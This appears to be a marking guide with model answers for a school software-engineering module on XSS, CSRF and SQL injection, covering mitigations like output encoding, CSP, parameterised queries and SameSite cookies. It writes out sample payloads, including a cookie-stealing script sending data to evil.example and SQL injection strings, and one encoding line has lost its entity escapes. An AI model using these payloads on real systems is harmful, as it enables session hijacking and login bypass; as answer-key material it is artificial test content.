XSS, CSRF and SQL injection explained: HSC Software Engineering Module 2

In a stored XSS attack, an attacker submits malicious JavaScript into a form field that the application stores in its database. When other users view a page that displays the stored value, their browsers execute the script.

Example: a comment form on a blog accepts the body <script>fetch('//evil.example/steal?c=' + document.cookie)</script>. The site stores this comment and renders it on the article page. Every visitor's browser runs the script, sending their session cookies to the attacker, who can hijack their accounts.

Mitigation 1: output encoding. When rendering user-controlled data into HTML, encode special characters: < becomes <, > becomes >, & becomes &, " becomes ". The browser treats the value as text, not as HTML or script. Modern frameworks (React, Vue, Jinja2 with autoescape on) do this by default. In raw JavaScript, set element.textContent = userText, not element.innerHTML = userText.

Mitigation 2: Content Security Policy (CSP). Send a Content-Security-Policy header that restricts which scripts the browser will execute. A policy like script-src 'self' blocks any inline script and any script from another origin. Even if a <script> tag slips through the encoding, the browser refuses to run it.

Markers reward a clear attack walkthrough, both mitigations named correctly, and recognising that defence in depth (output encoding plus CSP plus HttpOnly cookies) is stronger than any one control alone.

This is SQL injection: item_id is concatenated directly into the query string, so an attacker can supply input such as 1 OR 1=1 to change the query's meaning.

Fix: use a parameterised query, e.g. db.execute(\"SELECT * FROM items WHERE id = ?\", (item_id,)), so the value is never treated as SQL syntax.

Marking criteria: 1 mark for correctly naming SQL injection, 1 mark for a correct parameterised-query fix.

This is reflected XSS: the query value from the URL is written into the HTML without encoding, so a URL such as ?query=<script>alert(1)</script> causes the browser to execute the attacker's script for anyone who follows the link.

It is dangerous because the attacker never needs to touch the server's database; they only need to trick a victim into clicking a crafted link, and the script then runs with the victim's own session and cookies.

Fix: HTML-encode query before inserting it (or use a templating engine with autoescape on), so <script> is rendered as literal text, not as a tag.

Marking criteria: 1 mark for naming reflected XSS, 1 mark for explaining the attack mechanism, 1 mark for a correct encoding-based fix.

Requests B and C are consistent with a CSRF attack.

• Request A originates from the bank's own domain, carries a matching Referer, and includes a valid CSRF token, so it is a legitimate user-initiated transfer.
• Request B has no Origin header and a Referer pointing to evil.example, and lacks a token; a GET to a state-changing endpoint triggered from an attacker's page (e.g. via an <img> tag) is a classic CSRF pattern, especially since state changes should never be exposed on GET at all.
• Request C explicitly shows an Origin of evil.example and no valid token, meaning the request was submitted from a page the attacker controls, not the bank's own form.

Marking criteria: 1 mark for correctly identifying B and C as suspicious, 1 mark for correctly clearing A, 1 mark for using the Origin/Referer mismatch as evidence, 1 mark for using the missing CSRF token as evidence.

SameSite=Lax is a browser-enforced rule: the browser itself withholds the session cookie on cross-site POST requests (and on embedded requests like images), so a forged form submitted from an attacker's page arrives with no session cookie attached, and the server sees an unauthenticated request.

CSRF tokens are an application-level control: the server embeds a random, unpredictable token in each legitimate form, and validates it on submission. An attacker's page cannot read or guess this token because the browser's same-origin policy prevents cross-origin pages from reading another site's response body.

A developer uses both because they cover different gaps: SameSite protection can be weakened by browser misconfiguration, older browsers that ignore SameSite, or subdomain-related edge cases, while a CSRF token is independent of cookie/browser behaviour. Layering both is defence in depth: either control alone stops most attacks, but together they remove single points of failure.

Marking criteria: 1 mark for correctly explaining SameSite=Lax's mechanism, 1 mark for correctly explaining CSRF tokens' mechanism, 2 marks for a justified explanation of why both are used together (defence in depth, coverage of different failure modes).

Vulnerability 1: SQL injection. user and pw are concatenated directly into the query string, so input such as ' OR '1'='1' -- changes the query's logic and can bypass authentication entirely.

Fix:

row = db.execute(
    "SELECT id, pass_hash FROM users WHERE name = ?",
    (user,),
).fetchone()

Vulnerability 2: Reflected/stored XSS. The success message writes user straight into HTML via an f-string; a username containing <script>...</script> would execute in the browser of anyone who sees the response.

Fix:

return render_template("welcome.html", username=user)

(Jinja2's autoescape encodes username automatically, rendering any HTML characters as literal text.)

Marking criteria: 1 mark per correctly named vulnerability (2), 1 mark per corrected fragment that actually removes the flaw (2), 1 mark for noting that both fixes must use the value only as data, never as code/markup.

This is an 8-mark extended response: markers reward a layered plan that names concrete controls and links each to the specific attack it stops, not a generic list.

Data layer - SQL injection

All database access goes through an ORM or driver that uses parameterised queries by default, so user input (comment text, transfer amount, recipient id) is never concatenated into SQL. This stops an attacker from changing a query's structure via crafted input, e.g. in a comment search box.

Output layer - stored/reflected XSS

The templating engine has autoescape switched on, so any comment text rendered back to other users has <, > and & encoded automatically. This stops a comment such as <script>fetch('//evil.example?c='+document.cookie)</script> from executing in other users' browsers.

Browser-enforced backstop - Content Security Policy

The server sends Content-Security-Policy: script-src 'self'. Even if one output-encoding gap is missed (e.g. a new field added without escaping), the browser will still refuse to execute an injected inline <script> or a script hosted on another origin.

Session layer - HttpOnly and Secure cookies

Session cookies are marked HttpOnly (JavaScript cannot read them, limiting what a successful XSS payload can steal) and Secure (only sent over HTTPS, preventing interception).

State-change layer - CSRF protection for the credit transfer

The transfer endpoint requires POST only (never GET), includes a per-session CSRF token validated server-side, and sets SameSite=Lax on the session cookie. Together these stop an attacker's page from silently submitting a forged transfer request using the victim's active session.

Input validation

Every input (comment length, transfer amount as a positive number within the user's balance, recipient id exists) is validated server-side against an allow-list of acceptable values, regardless of what client-side JavaScript already checked, because client-side checks can be bypassed by calling the API directly.

Marker's note: top-band answers (1) name a specific control per layer rather than a vague "sanitise everything", (2) explicitly link each control to the attack it defeats, (3) recognise that no single control is sufficient alone, and (4) cover all three named vulnerabilities plus at least one supporting control (HttpOnly, input validation, or CSP).